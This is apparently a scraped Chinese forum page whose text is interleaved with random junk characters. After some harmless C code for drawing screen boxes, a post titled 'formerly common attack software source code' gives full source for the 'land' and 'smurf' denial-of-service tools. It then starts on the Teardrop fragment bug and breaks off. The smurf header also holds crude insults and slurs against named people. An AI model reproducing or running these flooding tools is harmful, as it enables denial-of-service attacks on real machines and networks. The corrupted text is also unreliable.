clrscr();: g% s# V4 L* t
box(1,1,23,79);8 Q/ ^7 q) g& b% E& e3 ~$ c7 j
box(2,2,21,77);2 S3 n$ v3 {4 L) F% l' u# |- X
box(3,3,19,75);
8 w4 q' j- D- w4 ubox(4,4,17,73);1 A& ^4 ]% E7 G
box(5,5,15,71);
/ v5 V$ c) D4 Mbox(6,6,13,69);  R, R; j0 T$ v
box(7,7,11,67);7 N/ j6 Y7 J( e& d5 c+ J4 W- |3 J6 ^. J: C
box(8,8,9,65);
0 A+ j% a( j7 N! Y. o+ G5 ^box(9,9,7,63);# s+ r, l$ V/ g) ^
box(10,10,5,61);
% ?( c6 f/ m0 x% gbox(11,11,3,59);
$ X$ z, a* q: U) v; `box(12,12,1,57);5 F! I( l  L' C& \+ f- d" Z
poscur(24,1);
" k7 y) D# l  T}</FONT></P><><FONT color=#009900>/************************************************************
5 W6 T, D) J* v  M9 d% Q- P; l3 S' @9 }* BOX *
  o* Q2 A8 [* J3 t6 k9 x) f*----------------------------------------------------------*1 H; L! c6 _2 A/ V, O
* Written by: Jeff Ebert 7/01/87 *8 |1 `$ G4 f- ?9 ?2 v
* Modified by: xxxxxxxxxx *
! w' v3 {2 @' J2 T- V, A; d* *
: R9 M6 g, q( {+ x. p* Please modify me! *
. K8 b  l* p1 t- L2 I4 ]* Possible Enhancements include but are not limited t *4 t1 t! Y6 v% ^' G6 ^  r7 R7 G
* 1) Variable box character styles [1 line or 2] *2 l) k- M5 b) n* U7 E, J* t+ p
* 2) Error checking *" m8 ^8 c8 }  N. s0 c
* 3) Color options *
% j+ z# z. s1 l3 s3 {% t4 a* *7 b( A0 ]/ k9 N2 u7 I; Y+ _
* *
( E! K9 L7 ~: r' f+ {1 r; b* This function builds a simple double frame for a menu. *
6 Q8 G' }( Z+ h* The function is passed the parameters for the upper *
8 Q/ G) f8 W8 ^$ f* left corner row, upper left corner column the height *
. P( J- e: U8 [  k* of the frame and the width. *( Z$ k; Z2 m* R: `2 D1 X
* *8 Z: Y# N& N% T0 Q* s
************************************************************/
4 }4 P3 l# S  R$ {5 t#include <STDIO.H></FONT></P><><FONT color=#009900>#define ULCOR 201* _& G& v# j( F+ j7 j; n
#define URCOR 187
' H) p" z& m) Y9 e" d#define LLCOR 2006 v. G3 J; m1 V, W( b0 y( p
#define LRCOR 1888 m& k+ E  d9 v/ V
#define VBAR 186# u8 _' K1 K) }6 R0 d
#define HBAR 205+ h. [/ g, v3 ~2 g
#define ESC 27</FONT></P><><FONT color=#009900>
. Q0 X" H  ]. s' F4 Sbox(row, col, hgt, wdth)
7 h, L( w( Y& M6 mint row, col, hgt, wdth;</FONT></P><><FONT color=#009900>{
" |; q3 o  k& u1 e8 k& n8 Nint x, y;</FONT></P><><FONT color=#009900>poscur(row,col);! o9 j& `5 U4 O9 U1 G& M+ {
putchar(ULCOR);
' f! j- \3 e: _+ e. r7 U, l$ Zfor(x = col + 1; x &lt;=(col + wdth -1); x++)
: V8 c& }$ q! M" z- pputchar(HBAR);
. U9 @2 k5 w/ Oputchar(URCOR);</FONT></P><><FONT color=#009900>for(x = row + 1; x &lt;=(row + hgt - 1); x++){
9 h1 R$ U9 a0 R. Lposcur(x,col);
, t6 `. g! B9 ^: Hputchar(VBAR);
% ~) r' v0 t0 s/ Rposcur(x,col+wdth);1 j. M! O: s" I, Q" [2 |2 ?" w: e8 b/ Q
putchar(VBAR);7 P: ~* v  h& R# d4 G! F' m* @
}$ L: l5 f9 c( E6 }& U
poscur(x,col);
' v) r- o' ?& c  x. B) Iputchar(LLCOR);* u4 u7 D# D3 W4 K) b
for(x= col + 1; x &lt;=(col + wdth -1); x++)9 y; p9 L& k2 ~& s/ P
putchar(HBAR);
' d" U0 ]4 r$ h& C' L" gputchar(LRCOR);( d/ m' L. l6 C- P6 p+ ~6 W1 i) P
}</FONT></P><><FONT color=#009900>/********************************************************! `& l! J) a. H/ V" g" x: {
* POSCUR *  z( d" T5 p1 k) [; b
*------------------------------------------------------*6 y  g. `5 v% M* R% ^
* This function positions the cursor at the specified *
+ M$ ~( {1 f7 \# [* D( I3 \* x,y coordinate. It uses the ANSI standard ESCAPE *& S2 Y4 P% K( o9 R9 o; f, S7 Y- g
* sequence to produce the desired effect. Its not the *) g1 y  z$ r: A$ d5 M! T
* fastest way to position the cursor, but perhaps the *
0 s8 y& E) u1 t; e8 ?6 n* most portable. *5 i) @6 Q; c  g
* *( ]& q8 Z7 {. s  @5 k4 u9 m7 i% t
********************************************************/7 S+ p2 U' p2 W; f' p
poscur(xcor,ycor): u" q$ S, e! z7 o! t: V" _2 L% n+ p
int xcor,ycor;+ p( `; p, N( z' D& ?7 F
{
7 c4 I4 G& Q. X9 b/ j2 \6 {" _% uprintf("%c[%d;%dH",ESC,xcor,ycor);
: g# D8 `7 R( M# w}</FONT></P><><FONT color=#009900>* Y, I& {9 \% r* Q5 k
/********************************************************2 d" k8 o4 h( u) X! A# v) m
* CLRSCR *
. O* k# p( ?. ]& T6 j+ W4 C* k*------------------------------------------------------*
8 H' L! F+ ~' U2 \  P* This function positions the cursor at the specified *
- F$ L/ Z4 \/ d* x,y coordinate. It uses the ANSI standard ESCAPE *
/ P( H4 [" A4 O8 W, z0 ^, m( J$ N* sequence to produce the desired effect. Its not the *3 t, }* w1 z, N. e
* fastest way to position the cursor, but perhaps the *
- D  ~: A+ F  F) l4 [4 q. h2 }* most portable. *
1 i" O4 I- o$ Q' D* *' _- t4 P+ m) ]
********************************************************/
6 l/ w0 T3 u3 a( }3 `) F- |6 xclrscr()) C/ P$ t$ `  E$ O' ?
{ - B  g' `2 ~- e  T1 \
printf("%c[2J",ESC);  `( Z* W3 H$ m  n
}</FONT>
/ w* t4 K# ~4 D* c+ [2 j/ N, e/ ?</P>
回复

使用道具 举报

韩冰        

823

主题

3

听众

4048

积分

我的地盘我做主

该用户从未签到

发帖功臣 元老勋章

<DIV align=center><FONT size=3><B><FONT color=#cc0000>以前常用的攻击软件源代码</FONT></B></FONT> </DIV><>常用攻击程序</P><>Abstract
3 _& ]( f( m; d7 J8 p! a5 x这里有一些是老的,现在看来并没有用,但他们都很有名。</P><>1 Land</P><>攻击一台Win95的机器。这是Win95的一个漏洞,以其IP地址和端口向自4 s5 {- `8 D4 }1 T7 g$ I4 c, G
己的同一个端口发起连接(发SYN),Win95即会崩溃。</P><>
8 c" F4 t) i8 m% S  s# i- S<FONT color=#009900>/* land.c by m3lt, FLC
5 l% t  F, U; G7 ?6 u5 k( ?crashes a win95 box */</FONT></P><><FONT color=#009900>#include <STDIO.H>  r6 R  J* d( L( U/ ?; E6 B% j
#include <NETDB.H>& w2 e, G( L+ J' p+ u4 \
#include <ARPA inet.h>; x: e6 v2 C" j$ h
#include <NETINET in.h>
& m2 {5 l: _$ @1 h7 a#include <SYS types.h>
# V6 K2 s* U% ?" P#include <SYS socket.h>5 @$ F% _  Q' h2 k
#include <NETINET ip.h>
0 r& C; m: V  y! T1 J#include <NETINET tcp.h></FONT></P><><FONT color=#009900>//用于TCP校验和的伪头
" G6 ^6 X2 ^* R% c! l$ e; ?' i2 }struct pseudohdr3 F) }* C% Q: i- Q
{+ s7 |; V+ h* _9 j" _. ?( G
struct in_addr saddr;2 X4 Z# C' n/ g  ?
struct in_addr daddr;
, A. b7 t" H+ S) g4 zu_char zero;
3 I6 }8 w! L  J, [3 u8 nu_char protocol;6 D% p+ t3 i( b% i1 w
u_short length;
- y. z  c" X2 _0 v! Bstruct tcphdr tcpheader;: l4 d; _+ Z" Z+ O' L" W/ x% @
};</FONT></P><><FONT color=#009900>//计算IP校验和
4 [9 t* n0 b# Q, H) s2 k6 bu_short checksum(u_short * data,u_short length)
) M- X9 u. `7 y% M2 \9 W+ n9 Y{
: K5 Z+ T" S$ ?3 c0 Lregister long value;
5 t" L. n; _1 h" S) G8 U! Y& yu_short i;</FONT></P><><FONT color=#009900>for(i=0;i&lt;(length&gt;&gt;1);i++)
$ R9 r( N* i3 P+ R% \9 `) xvalue+=data;</FONT></P><><FONT color=#009900>if((length&amp;1)==1)# Z$ J" e0 O: \* k/ v7 }8 W
value+=(data&lt;&lt;8);</FONT></P><><FONT color=#009900>value=(value&amp;65535)+(value&gt;&gt;16);</FONT></P><><FONT color=#009900>return(~value);( A# u* f% ^1 H; \% L# c
}</FONT></P><><FONT color=#009900>
2 D% }% L1 `9 \8 G2 Wint main(int argc,char * * argv)
4 N" t1 O6 n& Y. w. a! M5 |, Z{
7 n- O! P2 A' hstruct sockaddr_in sin;- E/ }( s' X+ ?; W, A) F* i
struct hostent * hoste;
1 _! O4 V  E0 D% x- ^5 z3 v  y+ oint sock;
9 G4 g  G1 r+ P3 |. C, z0 Y# Dchar buffer[40];' }' {! y+ M6 G9 _
struct iphdr * ipheader=(struct iphdr *) buffer;
* ~8 O4 r% b2 Y5 ustruct tcphdr * tcpheader=(struct tcphdr *) (buffer+sizeof(struct iphdr));
' J3 E$ q" e; ?struct pseudohdr pseudoheader;</FONT></P><><FONT color=#009900>fprintf(stderr,"land.c by m3lt, FLC\n");</FONT></P><><FONT color=#009900>if(argc&lt;3)
. d3 h/ P: k  ]# C8 r% j  m. ~' f% B{
% v" o" r+ a" y( \1 A  Ofprintf(stderr,"usage: %s IP port\n",argv[0]);, J/ `2 s( O$ A% }& C4 _
return(-1);
4 x( d2 Q! T3 `, _+ [- T8 U; d}</FONT></P><><FONT color=#009900>bzero(&amp;sin,sizeof(struct sockaddr_in));
% c9 j8 e- E. D9 i' H! T$ Hsin.sin_family=AF_INET;</FONT></P><><FONT color=#009900>if((hoste=gethostbyname(argv[1]))!=NULL)2 Z; e: Z4 u5 B9 _; V; ~' i
bcopy(hoste-&gt;h_addr,&amp;sin.sin_addr,hoste-&gt;h_length);
/ p; K7 W, f. D) [4 e( ~else if((sin.sin_addr.s_addr=inet_addr(argv[1]))==-1)1 \+ M8 Z5 x% O6 `) ?
{  G% Y3 Q- Q' p4 T) ^
fprintf(stderr,"unknown host %s\n",argv[1]);) Z' F3 X' Q7 \! |
return(-1);
# m' B5 g8 _8 h3 S+ |}</FONT></P><><FONT color=#009900>if((sin.sin_port=htons(atoi(argv[2])))==0)& u' g( [; y: H3 E4 T
{
0 }' }" J0 c4 _( w7 o" Q+ Dfprintf(stderr,"unknown port %s\n",argv[2]);
: e4 P' N+ t# s* z4 t/ l6 oreturn(-1);: J4 Q1 _% v! o* l8 `3 D7 k- b
}</FONT></P><><FONT color=#009900>//new一个SOCK—RAW以发伪造IP包 这需要root权限0 g: K/ a* V/ c6 [+ [- K) M
if((sock=socket(AF_INET,SOCK_RAW,255))==-1)! z2 i. S3 N& \9 r2 ]: k7 J8 j) K
{: E+ V, h# J8 ^: s5 @9 c
fprintf(stderr,"couldn't allocate raw socket\n");
% {, h% V( I8 m& ]! Y* \return(-1);
9 a4 p/ X5 V( x+ q}</FONT></P><><FONT color=#009900>bzero(&amp;buffer,sizeof(struct iphdr)+sizeof(struct tcphdr));3 t- O' f$ U7 c+ S6 a" L0 x4 u
ipheader-&gt;version=4;
! o& E; `; C' r! D, hipheader-&gt;ihl=sizeof(struct iphdr)/4;" d- G: Y% s: Z" ]
ipheader-&gt;tot_len=htons(sizeof(struct iphdr)+sizeof(struct tcphdr));$ l  d$ \  Z# U
ipheader-&gt;id=htons(0xF1C);
# q7 Q8 v! I. D! Y) S2 _) |) bipheader-&gt;ttl=255;
" E# W. ^- b& z$ f+ u+ Qipheader-&gt;protocol=IP_TCP;</FONT></P><><FONT color=#009900>//目的IP地址和源IP地址相同6 z* x# g! k- j1 l; C$ W: @
ipheader-&gt;saddr=sin.sin_addr.s_addr;
/ G/ g% o# p& ^) a% l& mipheader-&gt;daddr=sin.sin_addr.s_addr;</FONT></P><><FONT color=#009900>//目的TCP端口和源TCPIP端口相同7 m, J/ p& o( n9 ]) y% m
tcpheader-&gt;th_sport=sin.sin_port;
5 @, _( g% Y# O! Q0 ntcpheader-&gt;th_dport=sin.sin_port;9 ]: F' d1 k+ p* ?6 S
tcpheader-&gt;th_seq=htonl(0xF1C);9 h) k, D# c7 \2 D& n1 d
tcpheader-&gt;th_flags=TH_SYN;
6 \: d4 f& e( v/ |5 D7 |4 z7 Ttcpheader-&gt;th_off=sizeof(struct tcphdr)/4;
( V. e4 X. W( D; A' Itcpheader-&gt;th_win=htons(2048);</FONT></P><><FONT color=#009900>bzero(&amp;pseudoheader,12+sizeof(struct tcphdr));4 x% [  T1 A4 _. g) `) `# v, S$ Y  |
pseudoheader.saddr.s_addr=sin.sin_addr.s_addr;
# ?% k5 c& |: R5 zpseudoheader.daddr.s_addr=sin.sin_addr.s_addr;
! x. V1 {7 M2 [6 l' p; V( epseudoheader.protocol=6;
) r  q% k+ j$ p( \4 `$ V6 ]- ]+ E7 Hpseudoheader.length=htons(sizeof(struct tcphdr));
) W, \3 {, Q" @7 R2 Abcopy((char *) tcpheader,(char *) &amp;pseudoheader.tcpheader,sizeof(struct tcphdr));3 H8 K3 d! @8 m0 ?7 P8 {; Z3 \6 [* S
tcpheader-&gt;th_sum=checksum((u_short *) &amp;pseudoheader,12+sizeof(struct tcphdr));</FONT></P><><FONT color=#009900>if(sendto(sock,buffer,sizeof(struct iphdr)+sizeof(struct tcphdr),
0 }8 T3 S5 @4 j" T1 q9 ~0,(struct sockaddr *) &amp;sin,sizeof(struct sockaddr_in))==-1), `' ?4 Z! {" r6 X7 p; k: w% i7 D* o
{
1 [1 W6 ?* K& ]" ^fprintf(stderr,"couldn't send packet\n");
3 x- u8 X" P& K$ Hreturn(-1);
; Q) v* L4 _  {$ W# S0 g2 `$ ]}</FONT></P><><FONT color=#009900>fprintf(stderr,"%s:%s landed\n",argv[1],argv[2]);</FONT></P><><FONT color=#009900>close(sock);
3 M9 ~7 n  F6 B) Q. ^return(0);; U! _9 {- i6 ]$ }; \( P/ C/ [7 y
}</FONT></P><>* ]' k) D" d+ I9 `! _
2 Smurf
8 `: Y/ w* W. Q  N& |. Ssmurf攻击是很简单的,它有一些IP(广播地址)地址列表,发出了一些伪造的数
; H: B: }$ X* ]8 ~据包(ICMP echo request)从而导致一场广播风暴,可以使受害主机(使它成为伪造包; r* w! r1 Q4 ]
的源地址)崩溃。</P><>受害者有两种:中间的设备(bounce sites 交换机或路由器)和被伪装的IP(那些7 Z! u* n2 I: f; O7 S- Q  H8 ^; S
icmp echo的包都被发给它)。这种攻击依赖于路由器把一个广播地址转化为一广播桢
  j/ ?* \5 C1 J/ \( D(如Ethernet, FF:FF:FF:FF:FF:FF),RFC中允许这种转换,但在今天看来是不需要的。</P><>可以使你router停止转换第三层的广播(IP)到第二层的广播(Ethernet)。</P><>但是Smb服务器或NT需要远程广播使LAN知道它的存在,但在路由器的上述配置会使这变( O9 ^5 S: ^; B
成不可能(没有WINS服务器时)。</P><P>/*
( V+ d. E$ [2 ^) F  S/ }6 e. K, B*
; G6 a+ z# j- g9 M/ @& T$ u* $Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $4 R. M8 {! _& |  P# r/ Q
*
6 _3 P7 Z8 w! N+ f4 q* spoofs icmp packets from a host to various broadcast addresses resulting
! L$ H$ d7 C9 @* p* c3 t* in multiple replies to that host from a single packet.
$ o- J; z3 T  N  I( q*. T; L' j( `  v
* mad head t5 I1 A: @; l6 i8 _$ |+ N# a
* nyt, soldier, autopsy, legendnet, #c0de, irq for being my guinea pig,2 i1 o2 s) \' u% ]1 l( o2 T
* MissSatan for swallowing, napster for pimping my sister, the guy that; V( g+ m/ l" K0 {. N
* invented vaseline, fyber for trying, knowy, old school #havok, kain/ N0 G  s6 P% ^7 Y
* cos he rox my sox, zuez, toxik, robocod, and everyone else that i might
; |0 m6 h( w: j* have missed (you know who you are).0 k- a+ @- }/ R& P. C9 b" z
*) K; s1 o0 i+ x, e, M! \( u
* hi to pbug, majikal, white_dragon and chris@unix.org for being the sexy7 P# N+ z8 J  {% X. t
* thing he is (he's -almost- as stubborn as me, still i managed to pick up
1 l3 N. k1 c9 R* half the cheque).5 P  b; j, q( q5 Q9 e0 q
*
) c1 H7 C2 e( l; w1 J0 T8 y. {* and a special hi to Todd, face it dude, you're fucking awesome.
/ r9 @# s' f5 z9 B9 {# U- L*+ a% T9 A, y0 b4 n* t+ q7 f
* mad anal t
, T% \' r4 c) v6 q' ~* #madcrew/#conflict for not cashing in their cluepons, EFnet IRCOps$ @! _3 {3 g4 h
* because they plain suck, Rolex for being a twit, everyone that  j! `* h0 n; D) H9 w
* trades warez, Caren for being a lesbian hoe, AcidKill for being her+ |6 |5 W! ~! G9 M* @0 h
* partner, #cha0s, sedriss for having an ego in inverse proportion to
8 Y; ~5 W& `# O9 u: q* his penis and anyone that can't pee standing up -- you don't know what! w* B/ K: r* X( [
* your missing out on./ t0 `( Z+ R& L5 v+ p' e9 t
*
5 k. b4 S4 u* M* s" \* and anyone thats ripped my code (diff smurf.c axcast.c is rather) x  ^/ Q9 v2 x  d5 {% ~, u
* interesting).$ h3 I! {) Q! D
*/ g4 a# l5 c2 O- z# ]4 q! J
* and a HUGE TWICE THE SIZE OF SOLDIER'S FUCK TO AMM FUCK YOU to Bill
' ]1 v1 q, j, a# D! e, f* Robbins for trying to steal my girlfriend. Not only did you show me
$ j. Q2 `; Y: R/ k$ Y* no respect but you're a manipulating prick who tried to take away the$ N' f+ P: ]! v) J$ x) g8 H- G
* most important thing in the world to me with no guilt whatsoever, and
8 B4 ^& @9 f9 s2 u4 m, ^* for that I wish you nothing but pain. Die.
! W" t3 s. z/ X5 v2 w& i*& z4 I" _; i4 l( q
* disclaimer:. g) P% X( E+ b" f9 o% V$ j% F
* I cannot and will not be held responsible nor legally bound for the
4 K* O! ]% k. @0 `  i6 Y1 T* malicious activities of individuals who come into possession of this
  b/ C8 C1 S7 _; J. Z+ S5 t' @* program and I refuse to provide help or support of any kind and do NOT
1 `6 m: F" |$ U# @5 [5 P: c+ `5 n* condone use of this program to deny service to anyone or any machine.6 m9 E2 h( `# X1 `/ N, j3 e$ k
* This is for educational use only. Please Don't abuse this.9 o6 Z- D! F& Q
*
- J7 I7 V6 u" X4 [, ?2 f/ d* Well, i really, really, hate this code, but yet here I am creating another7 v' I3 d; J% Z& M8 W0 }6 u
* disgusting version of it. Odd, indeed. So why did I write it? Well, I,' v7 f  F, _( q. j3 |! c
* like most programmers don't like seeing bugs in their code. I saw a few
  A) u, }" Q% c' p3 n! d* things that should have been done better or needed fixing so I fixed
5 H/ g; k  i: }* z4 W. a% i* them. -shrug-, programming for me as always seemed to take the pain away  [9 x1 Y5 N0 n# T( \3 i
* ...5 z% M9 e% Q  G# v2 i) Z
*
* S6 ?1 N5 J) i& j; u: D! N' @*
% r; f7 y2 h# G, @* \*/</P><P>#include <SIGNAL.H>
& L# J# ]  o' S3 |& b+ O#include <STDIO.H>; E+ s* T% N- J  Q
#include <STDLIB.H>1 W; \& n2 u+ l3 }$ c& H/ {
#include <SYS socket.h>
. t1 O9 l2 X1 K/ H. V#include <SYS types.h>: x( `6 f- J( \+ R
#include <NETINET in.h>
( V  K# M- v6 x#include <NETINET ip.h>
! G. D5 Z7 K, S' U! c#include <NETINET ip_icmp.h>) M. ~; C# K0 Q5 x
#include <NETDB.H>
, C5 H2 K5 B1 n, @) [/ f#include <CTYPE.H>, P  c$ X6 Z; ?1 o7 b
#include <ARPA inet.h>
/ R  V) r7 r: R. x1 J  s#include <UNISTD.H>, x( H; M; g1 x1 i
#include <STRING.H></P><P>void banner(void);! k. t8 n7 J0 i% k" Z
void usage(char *);7 [: }% t5 q8 C' [6 {1 I/ m. F2 w
void smurf(int, struct sockaddr_in, u_long, int);/ c# b9 i6 S4 U; l# I) F
void ctrlc(int);8 S- n" g5 ?: X6 q) Y$ r
unsigned short in_chksum(u_short *, int);</P><P>/* stamp */% z1 t! Q+ k1 q$ ?
char id[] = "$Id smurf.c,v 4.0 1997/10/11 13:02:42 EST tfreak Exp $";</P><P>int main (int argc, char *argv[])
3 ~0 }" W( [( J+ A* l{4 e) A5 N6 i0 }5 u: p% Z
struct sockaddr_in sin;
* E% [  \7 z' j" C9 B) b: Qstruct hostent *he;
* w9 E9 P: B- Y) i6 t, CFILE *bcastfile;
! d. O5 x4 V* q/ K( w/ z5 `+ V4 ~int i, sock, bcast, delay, num, pktsize, cycle = 0, x;
7 Z  }* a7 d# j5 achar buf[32], **bcastaddr = malloc(8192);</P><P>banner();
# ?* D+ s( Z' ~3 X" Zsignal(SIGINT, ctrlc);</P><P>if (argc &lt; 6) usage(argv[0]);</P><P>if ((he = gethostbyname(argv[1])) == NULL) {
) R7 U: d. B' }4 b! Dperror("resolving source host");6 K( l) I. F6 M9 s1 |0 N) y4 h
exit(-1);
: B/ F# K9 d; R/ K  ]}
: R3 T- X4 [7 _$ `- y( X, umemcpy((caddr_t)&amp;sin.sin_addr, he-&gt;h_addr, he-&gt;h_length);
. d% n; x+ Y6 U* c5 u7 Xsin.sin_family = AF_INET;
% f- e4 Z: H0 T4 S! q4 lsin.sin_port = htons(0);</P><P>num = atoi(argv[3]);
* x: l2 h0 [; p; A- ^; Odelay = atoi(argv[4]);
4 g. _! W. X+ `4 g, |1 ]( k- i0 zpktsize = atoi(argv[5]);</P><P>if ((bcastfile = fopen(argv[2], "r")) == NULL) {0 F8 d: t5 c/ P
perror("opening bcast file");5 F3 C$ V# M1 F
exit(-1);
/ a1 X, C$ f1 y: f}
5 ?7 l6 [4 {( k1 x+ ^x = 0;# \5 \4 n! K. r3 I: p
while (!feof(bcastfile)) {
6 x- `6 D- ^* C1 h2 Tfgets(buf, 32, bcastfile);2 ^! x0 M3 j! R
if (buf[0] == '#' || buf[0] == '\n' || ! isdigit(buf[0])) continue;
& A) g) M9 Z& N7 q7 _5 gfor (i = 0; i &lt; strlen(buf); i++)
( `# P3 J- `7 d) q+ Cif (buf == '\n') buf = '\0';
- K9 ~; T8 Q% U% Q: O+ ~: Cbcastaddr[x] = malloc(32);- n! l0 g, f3 g+ `
strcpy(bcastaddr[x], buf);
' y- y+ s) I* Hx++;# _1 d; M6 F! E* o" z
}  G6 X( \/ q; W, E' E: H# S3 [
bcastaddr[x] = 0x0;$ V1 }0 L' ?6 J
fclose(bcastfile);</P><P>if (x == 0) {
9 Y/ e9 d  |* J- Ffprintf(stderr, "ERROR: no broadcasts found in file %s\n\n", argv[2]);6 o8 K7 H' v0 X9 }; W2 F
exit(-1);% p9 i5 ~/ n% {" B
}
: w# z) s3 p& r- z8 l$ W: Rif (pktsize &gt; 1024) {
" L6 c# e0 p# O  D+ _: gfprintf(stderr, "ERROR: packet size must be &lt; 1024\n\n");
# J# G0 r8 G' I1 G3 z! Rexit(-1);; J7 w3 P3 z1 a8 A  z8 e( o
}</P><P>if ((sock = socket(AF_INET, SOCK_RAW, IPPROTO_RAW)) &lt; 0) {
3 L2 z! i9 C$ S+ U( jperror("getting socket");  |$ c7 q% Z0 _4 G* Q8 c+ {
exit(-1);+ r- x: o$ i/ M, {! h3 M- o4 i
}; j- W6 ^0 G' z& d
setsockopt(sock, SOL_SOCKET, SO_BROADCAST, (char *)&amp;bcast, sizeof(bcast));</P><P>printf("Flooding %s (. = 25 outgoing packets)\n", argv[1]);</P><P>for (i = 0; i &lt; num || !num; i++) {
) B# z4 o* y* O1 [1 q) `3 Wif (!(i % 25)) { printf("."); fflush(stdout); }' r! r7 Y3 a, u# D- \
smurf(sock, sin, inet_addr(bcastaddr[cycle]), pktsize);4 g, P; k/ c1 U# [7 l; ]
cycle++;
) q1 H1 D* R% \9 n) x. fif (bcastaddr[cycle] == 0x0) cycle = 0;
( e' [8 Q: Y4 |; ]& Wusleep(delay);, i9 w6 \8 }. Q5 z7 \/ R% f
}$ T" w2 ^. g$ P. w* q6 V, F% v
puts("\n\n");, o% A+ D2 w( p3 \0 p
return 0;. r" G. y6 b$ l9 ?# V" a/ W
}</P><P>void banner (void)
. [, g3 ]# Z% A% t# u{! d4 S, x. ^# M8 e  A7 M5 z) f. m+ s
puts("\nsmurf.c v4.0 by TFreak\n");
( F# K" M1 M/ x8 S; f* e! S}</P><P>void usage (char *prog)7 a! r+ \" M) @( ]" O) y  z. x, C
{- z( |& g5 W% m  n" n$ A5 [
fprintf(stderr, "usage: %s <TARGET><BCAST file>"; N: r8 ^# |: n: b
"<NUM packets> <PACKET delay><PACKET size>\n\n"
7 m  Y1 L: ]8 L2 z( n"target = address to hit\n"
  s2 w0 N$ m6 ]  F8 ~6 H; |1 N* U"bcast file = file to read broadcast addresses from\n"
1 Y; [! B3 K  d& R"num packets = number of packets to send (0 = flood)\n": X+ l8 ]( I0 |- V5 J6 v
"packet delay = wait between each packet (in ms)\n"
- z$ C, ]/ `2 U$ x"packet size = size of packet (&lt; 1024)\n\n", prog);
; c3 L) y* G+ f! s( gexit(-1);+ M; {# t& `/ [6 |! e& ?
}</P><P>void smurf (int sock, struct sockaddr_in sin, u_long dest, int psize): ~# s9 E# ?) ]
{
" e9 O% f  k) X2 o: \" d; wstruct iphdr *ip;
1 q! w1 e- y! b2 cstruct icmphdr *icmp;" L! b5 e" |" C! v: C3 [4 N
char *packet;</P><P>packet = malloc(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);
4 g1 [- H6 A7 L. S4 G+ s% nip = (struct iphdr *)packet;
) N; E. l$ o1 |icmp = (struct icmphdr *) (packet + sizeof(struct iphdr));</P><P>memset(packet, 0, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);</P><P>ip-&gt;tot_len = htons(sizeof(struct iphdr) + sizeof(struct icmphdr) + psize);9 x+ @+ _. }* E5 b& c) R/ G
ip-&gt;ihl = 5;0 u6 _, w6 u: t' l( X6 D
ip-&gt;version = 4;( P3 U5 ]! `& u) {, B6 z
ip-&gt;ttl = 255;" ?. ?, z+ \, U" k, X2 ^. I
ip-&gt;tos = 0;+ w5 d  J7 D; z- V) O
ip-&gt;frag_off = 0;
/ y% J+ S$ N2 t- p. v( vip-&gt;protocol = IPPROTO_ICMP;0 G) \( a* q& z5 n- Y* U: `. D
ip-&gt;saddr = sin.sin_addr.s_addr;
+ U3 M" C7 W$ ]: N* u% e1 B9 Oip-&gt;daddr = dest;$ X/ l1 s) S& q4 c
ip-&gt;check = in_chksum((u_short *)ip, sizeof(struct iphdr));
( ^9 [  @  ?# b$ jicmp-&gt;type = 8;
' }" l0 r1 G& }8 jicmp-&gt;code = 0;
$ g3 b9 b2 L( v8 {7 H8 o- M8 ricmp-&gt;checksum = in_chksum((u_short *)icmp, sizeof(struct icmphdr) + psize);</P><P>sendto(sock, packet, sizeof(struct iphdr) + sizeof(struct icmphdr) + psize,
5 i' O1 z! F5 ^/ B, c; z0, (struct sockaddr *)&amp;sin, sizeof(struct sockaddr));</P><P>free(packet); /* free willy! */; \! n1 p0 [; v3 n# M( A
}</P><P>void ctrlc (int ignored)
1 ~9 Z5 L( L7 }# }/ N{3 h/ N& M) @3 I
puts("\nDone!\n");
4 p1 Z) j. |9 }$ Z2 w& \% q2 n* ~exit(1);$ b0 s% l5 c" K- W2 o' C' k
}</P><P>unsigned short in_chksum (u_short *addr, int len)& D# p: U/ V- v& ^  b* q+ T2 g
{. A' @  j2 j3 r
register int nleft = len;
7 r. l2 P1 }0 a" w, U! f* Vregister int sum = 0;
! d" O4 e, o. z7 {) [( r# {8 i5 Yu_short answer = 0;</P><P>while (nleft &gt; 1) {  T+ K7 D5 R$ J; L7 N9 h
sum += *addr++;1 g' I# E6 w- g2 U8 f" f
nleft -= 2;
- h& v5 C7 S" d/ w$ b9 o/ Q/ a}</P><P>if (nleft == 1) {; Q5 F9 K9 F, T* d1 Q4 D2 m
*(u_char *)(&amp;answer) = *(u_char *)addr;
4 K0 ^/ ~; N- ~2 a6 r, r% nsum += answer;( O* e. n* g2 ]7 F3 Q
}</P><P>sum = (sum &gt;&gt; 16) + (sum + 0xffff);
' }% r  }5 b% T; a0 z; t0 S8 Ysum += (sum &gt;&gt; 16);
; o: b, B- M+ b" panswer = ~sum;
9 \3 g3 k" s$ p5 |2 Lreturn(answer);% S8 |/ I* d4 v1 x
}</P><P>- S$ C8 b( e9 V6 [4 s& W- }
3 Teardrop</P><P>在Linux的ip包重组过程中有一个严重的漏洞。</P><P>在ip_glue()中:</P><P>在循环中重组ip包:) @$ S  s7 Q4 F4 K  y
fp = qp-&gt;fragments;
' `  q' f: ~# ywhile(fp != NULL)% Q. ~6 \0 k1 U/ V0 n. W& g5 U3 r2 R
{
! R' d% G' }8 M! j( P, x$ zif(count+fp-&gt;len &gt; skb-&gt;len)9 U' d- \0 u" O; a6 z
{2 c' \* }" Q9 v  J
error_to_big;& b) S# Y6 E* {
}7 S# L+ m! k; y& J( Q$ r
memcpy((ptr + fp-&gt;offset), fp-&gt;ptr, fp-&gt;len);
( _* K+ s3 l7 f8 Y/ @count += fp-&gt;len;
% \: C; ^& `  qfp = fp-&gt;next;: `# i; v1 d; x8 }. [7 U: H
}
" n, [8 Y2 m/ `5 q4 d8 q, p, T这里只检查了长度过大的情况,而没有考虑长度过小的情况," X. }3 A8 P- U# ^2 n
如 fp-&gt;len&lt;0 时,也会使内核拷贝过多的东西。</P><P>计算分片的结束位置:
" h( _' x4 f9 _( Z8 C' a" R7 qend = offset + ntohs(iph-&gt;tot_len) - ihl;</P><P>当发现当前包的偏移已经在上一个包的中间时(即两个包是重叠的); z5 n( x' v; R! ]
是这样处理的:& Y& P9 ^0 C8 s$ e% c" a$ k2 x
if (prev != NULL &amp;&amp; offset &lt; prev-&gt;end)
' _$ F1 F+ n! M; i. ?8 v2 v! p{( T+ ]' S) l7 j+ x6 ]
i = prev-&gt;end - offset;
( A; o- c8 z3 b, C& v! boffset += i; /* ptr into datagram */
